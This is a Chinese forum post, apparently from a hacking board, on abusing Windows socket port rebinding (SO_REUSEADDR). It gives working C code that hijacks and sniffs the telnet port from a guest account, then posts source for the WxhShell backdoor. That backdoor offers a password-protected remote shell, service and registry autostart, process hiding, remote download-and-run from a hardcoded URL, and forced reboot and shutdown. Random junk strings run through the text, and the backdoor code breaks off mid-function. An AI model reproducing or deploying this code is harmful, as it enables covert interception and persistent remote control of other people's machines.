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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |~rKDc  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J 5xZL v  
T~g`;Q%i  
  saddr.sin_family = AF_INET; -"#jRP]#  
_U^G*EqL*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s |o(~2j  
% ;a B#:p6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kcMg`pJ4<  
n+2>jY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z*cKH$':  
)gAqWbkB  
  这意味着什么?意味着可以进行如下的攻击: Kt/:caD  
Q DKY7"H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4<f^/!9w  
g\iSc~%?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lnq CHe  
)FfS7 C\.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f<'D?d)L^  
W"A3$/nq^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6X4r2Vq  
BD]o+96qP  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nFn}  
2 ksbDl}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )/2TU]//  
> -(Zx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e ]{=#  
W?[ C au-  
  #include l?Ls=J*  
  #include E, oR.B  
  #include OE_V6 Er  
  #include    Zv8_<>e  
  DWORD WINAPI ClientThread(LPVOID lpParam);    ?H_>?,^  
  int main() ##Qy6Dc  
  { 4Bt)t#0  
  WORD wVersionRequested; T!^v^m@>y  
  DWORD ret; E #!.;AQ  
  WSADATA wsaData; &(|Ot`el]v  
  BOOL val; (io[O?te  
  SOCKADDR_IN saddr; 4C*0MV  
  SOCKADDR_IN scaddr; ob|^lAU  
  int err; ocpM6b.fK  
  SOCKET s; ,H$%'s1I(  
  SOCKET sc; ' hdLQ\J  
  int caddsize; 3bQq Nk  
  HANDLE mt; 5FsfJpw  
  DWORD tid;   /1Ss |.  
  wVersionRequested = MAKEWORD( 2, 2 ); v0T?c53?  
  err = WSAStartup( wVersionRequested, &wsaData ); xokA_3,1F  
  if ( err != 0 ) { :EH>&vm  
  printf("error!WSAStartup failed!\n"); us.IdG  
  return -1; :X}Ie P  
  } kX)*:~*  
  saddr.sin_family = AF_INET; 0+.<BOcW5  
   Xc~BHEp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n_wF_K\h  
O]@s` w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IfY?P(P  
  saddr.sin_port = htons(23); o5m] Gqa  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'Axe:8LA'  
  { Rh)%;  
  printf("error!socket failed!\n"); RRl`;w?  
  return -1; `L!L=.}4  
  } :z%Zur+n c  
  val = TRUE; 9`KFJx6D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 b S'dXP  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0vMKyT3 c  
  { vTL/% SJ8  
  printf("error!setsockopt failed!\n"); as!P`*@  
  return -1; /fU -0a8  
  } |C0!mU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bik lja  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 aa dw#90  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BaMF5f+  
J5z\e@?.0\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >X=VPh8  
  { /Kd'!lMuz  
  ret=GetLastError(); 7 ;2>kgf~  
  printf("error!bind failed!\n"); $6 4{Ff  
  return -1; m8+ EMBl  
  } }?HWUAL\  
  listen(s,2); A-rj: k!  
  while(1) #nmh=G?\Sm  
  { ^ q3H  
  caddsize = sizeof(scaddr); *nv ^s  
  //接受连接请求 CdtCxy5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /-(OJN5F^  
  if(sc!=INVALID_SOCKET) ,jl4W+s  
  { mXyg\5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q%,y66pFr  
  if(mt==NULL) !Y/S2J  
  { ]3Jb$Q@  
  printf("Thread Creat Failed!\n"); C^:{y  
  break; V6kDyl(  
  } ID<[=es6  
  } 5X uQQ!`  
  CloseHandle(mt); w@\4ft6d  
  } kL<HGQt  
  closesocket(s); 8A u W>7_  
  WSACleanup(); |;I"Oc.w^R  
  return 0; yQ&C]{>TS  
  }   Ht@5@(W]I  
  DWORD WINAPI ClientThread(LPVOID lpParam) *qxv"PptX  
  { itcM-?  
  SOCKET ss = (SOCKET)lpParam; #/\Zo &V8  
  SOCKET sc; HYZp= *eb  
  unsigned char buf[4096]; S>Gb Jt(]  
  SOCKADDR_IN saddr; d@tNlFfS  
  long num; o|_9%o52'  
  DWORD val; _B vGEM`o  
  DWORD ret; WmRu3O  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IGlM} ?x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Nma %6PfV  
  saddr.sin_family = AF_INET; V?-2FK]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E?VOst&  
  saddr.sin_port = htons(23); ]O0u.=1k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'aS: Azb  
  { V >~\~H2Y  
  printf("error!socket failed!\n"); ^S)t;t@x  
  return -1; 7ZUS  
  } ~ NO7@m uw  
  val = 100; ' t^ r2N/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ri*mu*r\}  
  { Wq?vAnLbk  
  ret = GetLastError(); <oSx'_dc  
  return -1; Jyp7+M]  
  } QT|\TplJt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z!4B=?(  
  { *Xn6yL9  
  ret = GetLastError(); H|'n|\{lt  
  return -1; l7Wdbx5x0  
  } M<SVH_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e+?;Dc-SJ\  
  { omT^jh  
  printf("error!socket connect failed!\n"); r?pN-x$M=  
  closesocket(sc); !wZIXpeL  
  closesocket(ss); Pjq()\/[Z  
  return -1; L D%SLJ:  
  } Pj5:=d8z(  
  while(1) tqL2' (=  
  { 6H;\Jt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }*vE/W  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +,)Iv_Xl$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JZJb&q){  
  num = recv(ss,buf,4096,0); R?Ch8mW.!  
  if(num>0) aPX'CG4m  
  send(sc,buf,num,0); =<AG}by![  
  else if(num==0) j!@, r^(  
  break; q#"lnc<S  
  num = recv(sc,buf,4096,0); jY ;Hdb''  
  if(num>0) $^YHyfh  
  send(ss,buf,num,0); cqcH1aSv  
  else if(num==0) oq,*@5xV2  
  break; &gI*[5v  
  } vtc%MG1  
  closesocket(ss); N37CAbw0  
  closesocket(sc); J6@RIia  
  return 0 ; Fz| r[  
  } P!{J28dj  
.sb0|3&  
M[e^Z}w.V  
========================================================== g'EPdE  
di<g"8  
下边附上一个代码,,WXhSHELL %H3 iX^}*  
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========================================================== []?*}o5&>T  
X<f4X"y  
#include "stdafx.h" n>)h9q S  
v7f[$s$m  
#include <stdio.h> )"63g   
#include <string.h> V5 Gy|X  
#include <windows.h> IiY%y:!g  
#include <winsock2.h> J8[aVG  
#include <winsvc.h> w,X J8+B  
#include <urlmon.h> Vw`%|x"Xz  
Vygh|UEo  
#pragma comment (lib, "Ws2_32.lib")  Gc;-zq  
#pragma comment (lib, "urlmon.lib") /sqfw,h@  
+Q"XwxL<6  
#define MAX_USER   100 // 最大客户端连接数 qVvnl  
#define BUF_SOCK   200 // sock buffer -WGlOpg0;  
#define KEY_BUFF   255 // 输入 buffer h|<;:o?yh  
"kKIv|`  
#define REBOOT     0   // 重启 tv; ?W=&P  
#define SHUTDOWN   1   // 关机 2/x~w~3U  
Z`n "}{  
#define DEF_PORT   5000 // 监听端口 ^}<]sjmk  
51ILR9 Bc_  
#define REG_LEN     16   // 注册表键长度 (.b!kfC  
#define SVC_LEN     80   // NT服务名长度 9QeBz`lm)  
<1`MjP*w  
// 从dll定义API Of eM;)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); INRRA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B|=S-5pv*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qh]k)]+*|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]|[mwC4  
7(H?3)%0  
// wxhshell配置信息 }$* z:E  
struct WSCFG { Q_*.1L  
  int ws_port;         // 监听端口 &0{&4,  
  char ws_passstr[REG_LEN]; // 口令 AR g]GV/L  
  int ws_autoins;       // 安装标记, 1=yes 0=no |Vp ?  
  char ws_regname[REG_LEN]; // 注册表键名 `*]r+J2  
  char ws_svcname[REG_LEN]; // 服务名 V-"#Kf9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !.O;SG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %PPkT]~\  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <irr .O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s,M]f,T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8/~@3-9EK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eUD 5 V  
m`4N1egCt  
}; KSU hB  
*~.'lE%[U  
// default Wxhshell configuration ~ x J#NC+  
struct WSCFG wscfg={DEF_PORT, Xod/GY G  
    "xuhuanlingzhe", Q{ { =  
    1, ,<TJh[TzC6  
    "Wxhshell", #.LI `nYA  
    "Wxhshell", Ol;"}3*Z*  
            "WxhShell Service", f^Q)lIv  
    "Wrsky Windows CmdShell Service", Q{~;4+ZD  
    "Please Input Your Password: ", gU?M/i2  
  1, B.);Ju  
  "http://www.wrsky.com/wxhshell.exe", g$z6*bL  
  "Wxhshell.exe" +Edq4QYwR  
    }; w~n+hhMF  
p#>,{  
// 消息定义模块 yXf+dMv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j3[kG#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G420o}q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q=epUHFs  
char *msg_ws_ext="\n\rExit."; (T.j3@Ko  
char *msg_ws_end="\n\rQuit."; ixqvX4vv,B  
char *msg_ws_boot="\n\rReboot..."; |WgFLF~k  
char *msg_ws_poff="\n\rShutdown..."; &7eN EA  
char *msg_ws_down="\n\rSave to "; 6?/f $,v  
_?XR;2 ]  
char *msg_ws_err="\n\rErr!"; s|R`$+'{  
char *msg_ws_ok="\n\rOK!"; `*B6T7p1  
[9y y<Z5  
char ExeFile[MAX_PATH]; 1=^|  
int nUser = 0; ayN[y  
HANDLE handles[MAX_USER]; #5X+. !L  
int OsIsNt; b >'c   
hF1Lj=x  
SERVICE_STATUS       serviceStatus; ]v_u2f'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `U>]*D68  
p`'3Il3  
// 函数声明  3X9  
int Install(void); ]oKHS$W9  
int Uninstall(void); %htwq]rZd  
int DownloadFile(char *sURL, SOCKET wsh); /K<>OyR?  
int Boot(int flag); iS`ok  
void HideProc(void); R l)g[s  
int GetOsVer(void); Y*S(uqM  
int Wxhshell(SOCKET wsl); IYhn*  
void TalkWithClient(void *cs); ^[q/w<_j~  
int CmdShell(SOCKET sock); 1W7ClT_cQ  
int StartFromService(void); _V3}F1?W  
int StartWxhshell(LPSTR lpCmdLine); [6nN]U~Y  
\WZSY||C|_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Zy>y7O(,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M2A_T.F=H  
sDkO!P  
// 数据结构和表定义 TR:4$92:H  
SERVICE_TABLE_ENTRY DispatchTable[] = G6X5`eLQ  
{ i,l$1g-i  
{wscfg.ws_svcname, NTServiceMain}, Z{_YH7_  
{NULL, NULL} bq{eu#rQJ  
};  X$_z"t  
Qn@[{%),4  
// 自我安装 Yr>7c1FZi  
int Install(void) WH. 3  
{ MO|8A18B  
  char svExeFile[MAX_PATH]; )ZfbM|  
  HKEY key; t;t;+M|W  
  strcpy(svExeFile,ExeFile); n9k-OGJ  
W}WDj:  
// 如果是win9x系统,修改注册表设为自启动 pc;`Fz/`7  
if(!OsIsNt) { )t$-/8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U< "k -  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cfHtUv  
  RegCloseKey(key); D#d/?\2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )c.!3n/pb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2UTmQOm  
  RegCloseKey(key); 0 l+Jq  
  return 0; k jx<;##R8  
    } :79u2wSh  
  } ]'0}fuV  
} ?p>m ;Aq  
else { "lB%"}  
uFfk!  
// 如果是NT以上系统,安装为系统服务 -s 7a\H{~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zo1 fUsK?  
if (schSCManager!=0) >ni0:^vp  
{ @ b} -<~  
  SC_HANDLE schService = CreateService gdg "g6b  
  (  >Xxi2Vy  
  schSCManager, R^yh,  
  wscfg.ws_svcname, 43!E>mq  
  wscfg.ws_svcdisp, R vd'uIJ  
  SERVICE_ALL_ACCESS, (:RYd6i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L!Gpk)}[i  
  SERVICE_AUTO_START, nlc$"(eA[H  
  SERVICE_ERROR_NORMAL, ^a7a_M  
  svExeFile, {-hu""x>  
  NULL, 5GURfG3{  
  NULL, F1% ^,;  
  NULL, I-W ,C &J>  
  NULL, D*g K,`  
  NULL w$jSlgUHy)  
  ); k: z)Sw  
  if (schService!=0) "XU)(<p  
  { U(hIT9  
  CloseServiceHandle(schService); c7]0 >nU;  
  CloseServiceHandle(schSCManager); 9x#T j/5%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .cr<.Ov  
  strcat(svExeFile,wscfg.ws_svcname); Am >b7Z!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {gB9EGY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K#R|GEwr  
  RegCloseKey(key); 6U1_Wk?   
  return 0; 2F/oWt|w?  
    } NH+N+4dEO  
  } $?DEO[p.  
  CloseServiceHandle(schSCManager); ,2mq}u>WU  
} m1RjD$fM  
} q<cxmo0S  
>oapw5~5  
return 1; <Kk?BRxi  
} Xc<Hm  
)k81  
// 自我卸载 OZ&SxR%q4  
int Uninstall(void) _lfS"ae  
{ lr)9U 7  
  HKEY key; cvjZ$Fcc%(  
P}he}k&IR  
if(!OsIsNt) { 9T<k|b[6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5dL!e<<  
  RegDeleteValue(key,wscfg.ws_regname); 96%N  
  RegCloseKey(key); 'T]Ok\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -gv[u,R  
  RegDeleteValue(key,wscfg.ws_regname); %Lp#2?*  
  RegCloseKey(key); % "^CrG  
  return 0; lN*"?%<x>  
  } +^[SXI^JaJ  
} Q>WnSm5R  
} `~ h8D9G  
else { 8(* ze+8  
Ba76~-gK$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xv xrz{  
if (schSCManager!=0) ,v#3A7"yW  
{ 0hq\{pw_y*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UGP&&A#T-  
  if (schService!=0) it->)?"(6  
  { ]G,BSttD  
  if(DeleteService(schService)!=0) { %z-n2%  
  CloseServiceHandle(schService); w=[ITQ|W%  
  CloseServiceHandle(schSCManager); /&5:v%L  
  return 0; }s.\B    
  } H:mcex  
  CloseServiceHandle(schService); Li\b ,_C  
  } jOL=vG  
  CloseServiceHandle(schSCManager); lN_b&92  
} gj82qy\:  
} -'Z-8  
1{G@'# (  
return 1;  k.\4<}  
} 4Td)1~zc3  
)#,a'~w  
// 从指定url下载文件 h3Nbgxa.  
int DownloadFile(char *sURL, SOCKET wsh) -$`q:j  
{ 0"i QHi  
  HRESULT hr; BipD8`a  
char seps[]= "/"; eH%i8a  
char *token; y_T%xWK5  
char *file; BfQ#5  
char myURL[MAX_PATH]; 0,6! 6>BOT  
char myFILE[MAX_PATH]; wIF)(t-):  
\ (U|&  
strcpy(myURL,sURL); X|y0pH:S  
  token=strtok(myURL,seps); <SRo2rjRa  
  while(token!=NULL) @`aPr26>?  
  { |pE ~  
    file=token; X rut[)H  
  token=strtok(NULL,seps); . Fm| $x  
  } q0@b d2}  
}{.V^;  
GetCurrentDirectory(MAX_PATH,myFILE); \# 1p  
strcat(myFILE, "\\"); +B4i,]lCx  
strcat(myFILE, file); R[H#a v  
  send(wsh,myFILE,strlen(myFILE),0); \M~uNWv|  
send(wsh,"...",3,0); B XO,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |lh&l<=(f  
  if(hr==S_OK) ULxgvq  
return 0; \mw5 ~Rf;  
else >dwY( a  
return 1; Hh%|}*f_,  
'i 8`LPQ  
} pMkM@OH  
*\^(-p~M  
// 系统电源模块 pK)!o  
int Boot(int flag) q[c^`5  
{ F`o"t]AD-a  
  HANDLE hToken; unyU|B  
  TOKEN_PRIVILEGES tkp; \3 O1o#=(  
,N8SP 'R  
  if(OsIsNt) { N^jr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;B;wU.Y"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?*cCn-|  
    tkp.PrivilegeCount = 1; `r0MQkk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T!>sL=uf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XKvH^Z4h{l  
if(flag==REBOOT) { x'V:qv*O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ePTxuCf>  
  return 0; >vNE3S_  
} $Eo-58<q  
else { s2 $w>L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2=X.$&a  
  return 0; t5EYu*  
} [\=1|t5n~  
  } }q:4Zh'l!  
  else { ^h"@OEga?  
if(flag==REBOOT) { c`7dNx  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PsN_c[+  
  return 0; nsu RG  
} JC7:0A^  
else { 8B6 -f:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8 LsJ}c  
  return 0; OOzXA%<%c  
} BKu< p<  
} B%z+\<3^q  
l2kUa'O-  
return 1; 5PE}3he:  
} iT</  
RIFTF R  
// win9x进程隐藏模块 LPkl16yZ  
void HideProc(void) |^gnT`+  
{ MK <\:g  
P5v;o9B&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LVJn2t^  
  if ( hKernel != NULL ) ]vH:@%3U  
  { &,$N|$yK}|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ra^"Vr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <BK?@Xy  
    FreeLibrary(hKernel); ghW  
  } eqqnR.0  
ME*A6/h  
return; /$|-!e<5b\  
} o>HGfr,N  
|q Pu*vR  
// 获取操作系统版本 2 e&M/{  
int GetOsVer(void) "1rT> ASWI  
{ l _zTpyOZ  
  OSVERSIONINFO winfo; Cw~fP[5XMF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t_\&LMD  
  GetVersionEx(&winfo); 5e&;f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %.;;itB  
  return 1; ^t,haO4  
  else V2$M`|E  
  return 0; '|G8yojz  
} YAd%d|Q  
"lL/OmG  
// 客户端句柄模块 rW`l1yi*$  
int Wxhshell(SOCKET wsl) Xi!e=5&Pa  
{ ~Sx\>wBlc  
  SOCKET wsh; }+K=>.  
  struct sockaddr_in client; k{cPiY^  
  DWORD myID; dyB@qh~H  
i$CF*%+t  
  while(nUser<MAX_USER) ;dTxQ_:  
{ &5hs W1`  
  int nSize=sizeof(client); Uv!VzkPfo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rv2;)3/*  
  if(wsh==INVALID_SOCKET) return 1; v(P <_}G  
m1M6N`f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6+:;M b_S  
if(handles[nUser]==0) 593!;2/@  
  closesocket(wsh); z<8VJZd  
else Ei89Ngp\}  
  nUser++; 3Qu-X\  
  } T[2<_nn=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sk@aOv'*(  
d"thM  
  return 0; nY,LQ0r  
} |Gr@Mi5  
o 80x@ &A:  
// 关闭 socket {HjJ9ZGQ  
void CloseIt(SOCKET wsh) c!mMH~#  
{ WnA Y<hZ|  
closesocket(wsh); =Ea,8bpn  
nUser--; {8,_[?H  
ExitThread(0); Pav  
} SZvC4lOn#  
GZm=>!T  
// 客户端请求句柄 D H:9iX'  
void TalkWithClient(void *cs) Ti>}To}B5  
{ Ho $+[K  
kH4m6p  
  SOCKET wsh=(SOCKET)cs; fr&p0)85>B  
  char pwd[SVC_LEN]; j_S3<wEJ  
  char cmd[KEY_BUFF]; *E-MJCv  
char chr[1]; =FfR?6 ~  
int i,j; mB%m<Zo\U  
( geV(zT  
  while (nUser < MAX_USER) { N]&hw&R{Q  
ruy?#rk  
if(wscfg.ws_passstr) { nPH\Lra  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $9Gra#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <eZrb6a'  
  //ZeroMemory(pwd,KEY_BUFF); )M@^Z(W/a  
      i=0; F1p|^hYDW  
  while(i<SVC_LEN) { ^!x qOp!  
n%!50E6*:  
  // 设置超时 %1)JRc  
  fd_set FdRead; zbfe=J4c  
  struct timeval TimeOut; m3XT8F*&  
  FD_ZERO(&FdRead); (Z8wMy&:  
  FD_SET(wsh,&FdRead); }6*JX\'q  
  TimeOut.tv_sec=8; *p|->p6,u  
  TimeOut.tv_usec=0; ] ~ }~d(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >]2^5C;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [~?6jnp  
bG+Gg*0p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IEWl I  
  pwd=chr[0]; LYTnMrM  
  if(chr[0]==0xd || chr[0]==0xa) { }TDq7-(g  
  pwd=0; _B\87e  
  break; U\>k>|Jr{  
  } ".?y!VY  
  i++; \U'*B}Sz  
    } u(JuU/U  
C}\kp0mz  
  // 如果是非法用户,关闭 socket  !>Q{co'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D2zqDo<+;  
} wd1>L) T  
SRrp= >w?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^[v>B@p*{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lo36b zbT  
!"'@c  
while(1) { #q8/=,3EG  
,QLy }=N  
  ZeroMemory(cmd,KEY_BUFF); tR_DN  
o_r{cnu  
      // 自动支持客户端 telnet标准   ^$<:~qq !  
  j=0; }{v0}-~@  
  while(j<KEY_BUFF) { 4 &0MB>m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,,-j5Y  
  cmd[j]=chr[0]; jI$7vmO  
  if(chr[0]==0xa || chr[0]==0xd) { ZL9|/ PY  
  cmd[j]=0; ,.&D{ $1W  
  break; 3w! NTvp  
  } z'0 =3  
  j++; S(:|S(  
    } Az/P;C=  
k0xm-  
  // 下载文件 @"m+9ZY  
  if(strstr(cmd,"http://")) { 9xL` i-7]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2-^ ['R  
  if(DownloadFile(cmd,wsh)) 1h`#H:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fmFs  
  else .L ^F4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hq,znRz~`  
  } ;9qwB  
  else { !0cb f&^:  
xww\L &y  
    switch(cmd[0]) { OGW0lnQ/  
  jjg&C9w T  
  // 帮助 w# ;t$qz}  
  case '?': { l!IN#|{(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ub[UB%(T  
    break; OO;I^`Yn  
  } |2I p*  
  // 安装 kZ!&3G9>-  
  case 'i': { }mS+%w"j  
    if(Install()) (R!.=95@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )F6p+i="  
    else C6d#+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H+Q_%%[N  
    break; &CfzhIi*!  
    } XL(2Qk  
  // 卸载 tz2$j@!=  
  case 'r': { / q^_ 'Lp  
    if(Uninstall()) h\8bo=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j)}TZx4~  
    else :{?Pq8jP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,MD >Jx|  
    break; YwJ<0;:+hS  
    } :oJ!9\5  
  // 显示 wxhshell 所在路径 UQjZhH  
  case 'p': { R I]x=  
    char svExeFile[MAX_PATH]; b=:%*gq,  
    strcpy(svExeFile,"\n\r"); o|V=3y Ok  
      strcat(svExeFile,ExeFile); MA v-#  
        send(wsh,svExeFile,strlen(svExeFile),0); '@#l/9  
    break; = {~A} X01  
    } Ky{C;7X  
  // 重启 ~P9^4  
  case 'b': { x8&~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); C3; d.KlV  
    if(Boot(REBOOT)) R#/0}+-M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qa1G0qMEIF  
    else { Vje LPbk)  
    closesocket(wsh); &l W~ot1,  
    ExitThread(0); P2 +^7x?  
    } xic&m5j m  
    break; Q5;EQ .#  
    } ?<soX8_1  
  // 关机 L(BL_  
  case 'd': { u6*mHkM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b>| d Q  
    if(Boot(SHUTDOWN)) Y+3r{OI  
